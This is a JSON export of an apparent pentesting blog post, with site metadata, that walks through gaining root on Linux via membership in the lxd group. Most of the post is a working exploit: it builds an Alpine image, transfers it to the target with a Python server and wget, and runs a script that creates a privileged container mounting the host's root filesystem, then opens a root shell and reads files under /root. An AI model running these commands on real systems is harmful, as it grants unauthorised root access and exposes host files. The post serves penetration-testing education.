{"id":331,"date":"2020-07-01T08:47:02","date_gmt":"2020-07-01T08:47:02","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=331"},"modified":"2021-01-21T13:18:57","modified_gmt":"2021-01-21T13:18:57","slug":"lxd-privilege-escalation","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/","title":{"rendered":"Lxd privilege escalation with security.privilege= true"},"content":{"rendered":"\n<p class=\"has-drop-cap\">Hello pentesters!! In this blog post, we will see how an account of the lxd group can elevate its privileges to admin (root).<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Vulnerability<\/h2>\n\n\n\n<p>A low privilege user can create a bridge between sockets on the host and its containers. <strong>When bridging from an existing socket on the host to a new socket in a container, it makes the connection with the credentials of the LXD service (root) as opposed to those of the calling user.<\/strong> Then, when a user speaks to the socket endpoint in the container, the message goes through the proxy and arrives at the host socket with root level credentials. More details can be found <a href=\"https:\/\/shenaniganslabs.io\/2019\/05\/21\/LXD-LPE.html\"><span class=\"has-inline-color has-vivid-cyan-blue-color\">here.<\/span><\/a><\/p>\n\n\n\n<p>Here we will be using LXD API to mount the host\u2019s root filesystem into a container. And this will give root level access to a low-priv user.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Basics of LXC and LXD<\/h2>\n\n\n\n<p><strong>LXC stands for Linux container<\/strong>. It is a&nbsp; lightweight virtualization technology that is something in the middle between a chroot and a completely developed virtual machine, which creates an environment as close as possible to a Linux installation but without the need for a separate kernel. LXC aims to use a feature of containers to provide a userspace container object which provides full resource isolation and resource control for an application or system. LXC is small enough to manage containers with simple command lines.<\/p>\n\n\n\n<p><strong>LXD stands for Linux daemon.<\/strong> Its a next-gen container and VM manager. It provides a <strong>UNIX socket for local communication<\/strong>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Importing the image<\/h2>\n\n\n\n<p>One can list the contents of \/etc\/group to find out if any user is present in the lxd group.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># cat \/etc\/group<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/MgLPYvtRzW26RuHlXe8IUa_hNB7KHF8UQmKTpxkTpinFsBxozPUEfrYQ4OH8Y2QBTM6oQ5CIBGK5CGmydTt8xn8badf4fQwFeIs8DCrZ7ZhVNeSnMGD1--6MOM7IA38Uuep0DF1m\" alt=\"user ash is present in the lxd group\"\/><figcaption>user ash is present in the lxd group<\/figcaption><\/figure>\n\n\n\n<p>Now we can download the alpine linux for lxd from github.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">#&nbsp; git clone https:\/\/github.com\/saghul\/lxd-alpine-builder.git\n#&nbsp; cd lxd-alpine-builder\n# .\/build-alpine<\/pre>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"132\" src=\"https:\/\/lh4.googleusercontent.com\/-ZghX-2B2RfaOje3YidSAjks-WTklEF6KyxZMW1T03yJXDVKFnsy2_Sse0T5BT2kjJBhJNct3tMyXg1Fu-X5Qve_G97WlMjTXAmOicfgUVaShgbVyJ4eBlN00BGjaDoT4bZirEYu\"><\/p>\n\n\n\n<p>It will create a  .tar.gz file. Send the file to the target machine with a simple python server. <\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># python -m SimpleHTTPServer\n# wget http:\/\/10.10.14.42\/alpine-v3.12-x86_64-20200629_1550.tar.gz <\/pre>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/3KW2dWFkr62SjpUL6AEIe0M_vRwz2OGSqWoWcrrJTfPpzscgd15JwObWvTVEuQZoKuqgEkadfr2qL-0c3LUx7Pb85LOq2nt3AX268CnW39eM4wxjQiqDy14SM0f7YcTZ5M10EaJW\" width=\"624\" height=\"87\"><\/p>\n\n\n\n<p>To add an image to lxd run,<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># lxc image import .\/alpine-v3.12-x86_64-20200629_1550.tar.gz --alias myimage<\/pre>\n\n\n\n<p>To see the list of images run,<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># lxc image list<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/prLs3amW2GCXyT4G51XS2R6MiXCFYhTm77it4KIcG2GJltVZywKkd8tSSmcPHH7cqpFbVrtDvlHsvP_MlPtkUur5dpFE2DmUgdl9k1VEqxdySSh6Pr4xLbYab-gMRHmotQ9F9gUM\" alt=\"\"\/><\/figure>\n\n\n\n<p>Here we can clearly see that our image named <strong>myimage <\/strong>is listed.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Privelege escalation<\/h2>\n\n\n\n<p>Create a script exploit.sh with a following set of commands and you will be good to go.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">lxc init myimage ignite -c security.privileged=true\nlxc config device add ignite mydevice disk source=\/ path=\/mnt\/root recursive=true\nlxc start ignite\nlxc exec ignite \/bin\/sh\nid<\/pre>\n\n\n\n<p>Lets break down what the script is doing!<\/p>\n\n\n\n<p><strong>myimage <\/strong>is alias name and <strong>ignite <\/strong>is the name of container.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>security.privilege= true<\/strong> creates a privileged container that sets the root user inside the container to be the same as the root user on the host system.&nbsp;<\/li><li><strong>Lxc config device command <\/strong>configures the \/ of the host to be shared to the container at \/mnt\/root<\/li><li>Then the container <strong>ignite <\/strong>is started<\/li><li><strong>Lxc exec <\/strong>run as<strong> the root user<\/strong>, in the \/root directory inside the container. Here \/bin\/sh will be executed as root<\/li><li><strong>Id<\/strong> gives the name of the currently logged-in user. We are now root as the container was privileged.<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/kEfEx0H8Y59fVhMxUJ4UsD8hp4HQ4LnSIFPwpIaDykXTymqMerG8Wdt2rvloBEjNtkhesA_9qWFKCLOFdiyawzi1Ss8CrpHAKeWSUMh2YQtEQLzlFH3WMHJ2GNDgef2csHxMK-MM\" alt=\"\"\/><\/figure>\n\n\n\n<p>We are now inside a container and all of the host file system is shared to the container that is mounted on <strong>\/mnt\/root<\/strong><\/p>\n\n\n\n<p>So any file that you want to read can be accessed as<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># cat \/mnt\/root\/root\/.bashrc&nbsp;<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/WUuJVqiR64HXriQwYOuVFodpwPEtuopdITnMQW1jvglFcwgYBgscB_zApkKa_qNJxFACrFW0ACs6_EZKtQHOpTydtzGpM_UxYuLNH9yqPRK7RHMB48mjTAVGa7YAsln6_kgXpoyi\" alt=\"\"\/><\/figure>\n\n\n\n<p>That\u2019s all for the blog post. Hope you enjoyed reading. For more such content visit <a href=\"https:\/\/shreyapohekar.com\/blogs\/\"><span class=\"has-inline-color has-vivid-cyan-blue-color\">here<\/span><\/a>.<br> See you in the next post. Until then, happy hunting!!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>When a normal user is part of lxd group, he can easily escalate his privileges to root..security.privilege= true creates a privileged lxd container.<\/p>\n","protected":false},"author":1,"featured_media":333,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[2,141],"tags":[205,204,201,207,206,200,203],"class_list":["post-331","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-information-security","category-linux","tag-alpine-linux","tag-containers","tag-lxc","tag-lxc-exec","tag-lxc-init","tag-lxd","tag-security-privilegetrue","entry","has-media"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.8 - aioseo.com -->\n\t<meta name=\"description\" content=\"When a normal user is part of lxd group, he can easily escalate his privileges to root..security.privilege= true creates a privileged lxd container.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"shreyapohekar\"\/>\n\t<meta name=\"google-site-verification\" content=\"y_3exmP-yXmpf_8pYjWbkeaT2VJmyungNEKJyiRmxL8\" \/>\n\t<link rel=\"canonical\" href=\"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.8\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Geek Girl | What I learn is what I BLOG!\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Lxd privilege escalation with security.privilege= true | Geek Girl\" \/>\n\t\t<meta property=\"og:description\" content=\"When a normal user is part of lxd group, he can easily escalate his privileges to root..security.privilege= true creates a privileged lxd container.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/logo.png\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/logo.png\" \/>\n\t\t<meta property=\"og:image:width\" content=\"500\" \/>\n\t\t<meta property=\"og:image:height\" content=\"500\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-07-01T08:47:02+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2021-01-21T13:18:57+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:site\" content=\"@shreyapohekar\" \/>\n\t\t<meta name=\"twitter:title\" content=\"Lxd privilege escalation with security.privilege= true | Geek Girl\" \/>\n\t\t<meta name=\"twitter:description\" content=\"When a normal user is part of lxd group, he can easily escalate his privileges to root..security.privilege= true creates a privileged lxd container.\" \/>\n\t\t<meta name=\"twitter:creator\" content=\"@shreyapohekar\" \/>\n\t\t<meta name=\"twitter:image\" content=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/logo.png\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#blogposting\",\"name\":\"Lxd privilege escalation with security.privilege= true | Geek Girl\",\"headline\":\"Lxd privilege escalation with security.privilege= true\",\"author\":{\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/author\\\/shreyapohekar\\\/#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/#person\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/wp-content\\\/uploads\\\/2020\\\/07\\\/lxd.jpg\",\"width\":523,\"height\":266,\"caption\":\"lxd privilege escalation\"},\"datePublished\":\"2020-07-01T08:47:02+00:00\",\"dateModified\":\"2021-01-21T13:18:57+00:00\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#webpage\"},\"articleSection\":\"Information Security, linux, alpine linux, containers, lxc, lxc exec, lxc init, lxd, security.privilege=true\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/category\\\/information-security\\\/#listItem\",\"name\":\"Information Security\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/category\\\/information-security\\\/#listItem\",\"position\":2,\"name\":\"Information Security\",\"item\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/category\\\/information-security\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/category\\\/information-security\\\/linux\\\/#listItem\",\"name\":\"linux\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/category\\\/information-security\\\/linux\\\/#listItem\",\"position\":3,\"name\":\"linux\",\"item\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/category\\\/information-security\\\/linux\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#listItem\",\"name\":\"Lxd privilege escalation with security.privilege= true\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/category\\\/information-security\\\/#listItem\",\"name\":\"Information Security\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#listItem\",\"position\":4,\"name\":\"Lxd privilege escalation with security.privilege= true\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/category\\\/information-security\\\/linux\\\/#listItem\",\"name\":\"linux\"}}]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/#person\",\"name\":\"shreyapohekar\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#personImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/166952c6ef739064bc03c48b2ee9e49d?s=96&d=wavatar&r=g\",\"width\":96,\"height\":96,\"caption\":\"shreyapohekar\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/author\\\/shreyapohekar\\\/#author\",\"url\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/author\\\/shreyapohekar\\\/\",\"name\":\"shreyapohekar\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/166952c6ef739064bc03c48b2ee9e49d?s=96&d=wavatar&r=g\",\"width\":96,\"height\":96,\"caption\":\"shreyapohekar\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#webpage\",\"url\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/\",\"name\":\"Lxd privilege escalation with security.privilege= true | Geek Girl\",\"description\":\"When a normal user is part of lxd group, he can easily escalate his privileges to root..security.privilege= true creates a privileged lxd container.\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/author\\\/shreyapohekar\\\/#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/author\\\/shreyapohekar\\\/#author\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/wp-content\\\/uploads\\\/2020\\\/07\\\/lxd.jpg\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#mainImage\",\"width\":523,\"height\":266,\"caption\":\"lxd privilege escalation\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/lxd-privilege-escalation\\\/#mainImage\"},\"datePublished\":\"2020-07-01T08:47:02+00:00\",\"dateModified\":\"2021-01-21T13:18:57+00:00\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/#website\",\"url\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/\",\"name\":\"Geek Girl\",\"description\":\"What I learn is what I BLOG!\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/shreyapohekar.com\\\/blogs\\\/#person\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"Lxd privilege escalation with security.privilege= true | Geek Girl","description":"When a normal user is part of lxd group, he can easily escalate his privileges to root..security.privilege= true creates a privileged lxd container.","canonical_url":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/","robots":"max-image-preview:large","keywords":"","webmasterTools":{"google-site-verification":"y_3exmP-yXmpf_8pYjWbkeaT2VJmyungNEKJyiRmxL8","miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#blogposting","name":"Lxd privilege escalation with security.privilege= true | Geek Girl","headline":"Lxd privilege escalation with security.privilege= true","author":{"@id":"https:\/\/shreyapohekar.com\/blogs\/author\/shreyapohekar\/#author"},"publisher":{"@id":"https:\/\/shreyapohekar.com\/blogs\/#person"},"image":{"@type":"ImageObject","url":"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2020\/07\/lxd.jpg","width":523,"height":266,"caption":"lxd privilege escalation"},"datePublished":"2020-07-01T08:47:02+00:00","dateModified":"2021-01-21T13:18:57+00:00","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#webpage"},"isPartOf":{"@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#webpage"},"articleSection":"Information Security, linux, alpine linux, containers, lxc, lxc exec, lxc init, lxd, security.privilege=true"},{"@type":"BreadcrumbList","@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/shreyapohekar.com\/blogs#listItem","position":1,"name":"Home","item":"https:\/\/shreyapohekar.com\/blogs","nextItem":{"@type":"ListItem","@id":"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/#listItem","name":"Information Security"}},{"@type":"ListItem","@id":"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/#listItem","position":2,"name":"Information Security","item":"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/","nextItem":{"@type":"ListItem","@id":"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/linux\/#listItem","name":"linux"},"previousItem":{"@type":"ListItem","@id":"https:\/\/shreyapohekar.com\/blogs#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/linux\/#listItem","position":3,"name":"linux","item":"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/linux\/","nextItem":{"@type":"ListItem","@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#listItem","name":"Lxd privilege escalation with security.privilege= true"},"previousItem":{"@type":"ListItem","@id":"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/#listItem","name":"Information Security"}},{"@type":"ListItem","@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#listItem","position":4,"name":"Lxd privilege escalation with security.privilege= true","previousItem":{"@type":"ListItem","@id":"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/linux\/#listItem","name":"linux"}}]},{"@type":"Person","@id":"https:\/\/shreyapohekar.com\/blogs\/#person","name":"shreyapohekar","image":{"@type":"ImageObject","@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#personImage","url":"https:\/\/secure.gravatar.com\/avatar\/166952c6ef739064bc03c48b2ee9e49d?s=96&d=wavatar&r=g","width":96,"height":96,"caption":"shreyapohekar"}},{"@type":"Person","@id":"https:\/\/shreyapohekar.com\/blogs\/author\/shreyapohekar\/#author","url":"https:\/\/shreyapohekar.com\/blogs\/author\/shreyapohekar\/","name":"shreyapohekar","image":{"@type":"ImageObject","@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/166952c6ef739064bc03c48b2ee9e49d?s=96&d=wavatar&r=g","width":96,"height":96,"caption":"shreyapohekar"}},{"@type":"WebPage","@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#webpage","url":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/","name":"Lxd privilege escalation with security.privilege= true | Geek Girl","description":"When a normal user is part of lxd group, he can easily escalate his privileges to root..security.privilege= true creates a privileged lxd container.","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/shreyapohekar.com\/blogs\/#website"},"breadcrumb":{"@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#breadcrumblist"},"author":{"@id":"https:\/\/shreyapohekar.com\/blogs\/author\/shreyapohekar\/#author"},"creator":{"@id":"https:\/\/shreyapohekar.com\/blogs\/author\/shreyapohekar\/#author"},"image":{"@type":"ImageObject","url":"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2020\/07\/lxd.jpg","@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#mainImage","width":523,"height":266,"caption":"lxd privilege escalation"},"primaryImageOfPage":{"@id":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/#mainImage"},"datePublished":"2020-07-01T08:47:02+00:00","dateModified":"2021-01-21T13:18:57+00:00"},{"@type":"WebSite","@id":"https:\/\/shreyapohekar.com\/blogs\/#website","url":"https:\/\/shreyapohekar.com\/blogs\/","name":"Geek Girl","description":"What I learn is what I BLOG!","inLanguage":"en-US","publisher":{"@id":"https:\/\/shreyapohekar.com\/blogs\/#person"}}]},"og:locale":"en_US","og:site_name":"Geek Girl | What I learn is what I BLOG!","og:type":"article","og:title":"Lxd privilege escalation with security.privilege= true | Geek Girl","og:description":"When a normal user is part of lxd group, he can easily escalate his privileges to root..security.privilege= true creates a privileged lxd container.","og:url":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/","og:image":"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/logo.png","og:image:secure_url":"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/logo.png","og:image:width":500,"og:image:height":500,"article:published_time":"2020-07-01T08:47:02+00:00","article:modified_time":"2021-01-21T13:18:57+00:00","twitter:card":"summary_large_image","twitter:site":"@shreyapohekar","twitter:title":"Lxd privilege escalation with security.privilege= true | Geek Girl","twitter:description":"When a normal user is part of lxd group, he can easily escalate his privileges to root..security.privilege= true creates a privileged lxd container.","twitter:creator":"@shreyapohekar","twitter:image":"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/logo.png"},"aioseo_meta_data":{"post_id":"331","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"BlogPosting","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":null,"created":"2023-08-20 07:29:47","updated":"2025-06-03 23:33:51","seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/shreyapohekar.com\/blogs\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/\" title=\"Information Security\">Information Security<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/linux\/\" title=\"linux\">linux<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tLxd privilege escalation with security.privilege= true\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/shreyapohekar.com\/blogs"},{"label":"Information Security","link":"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/"},{"label":"linux","link":"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/linux\/"},{"label":"Lxd privilege escalation with security.privilege= 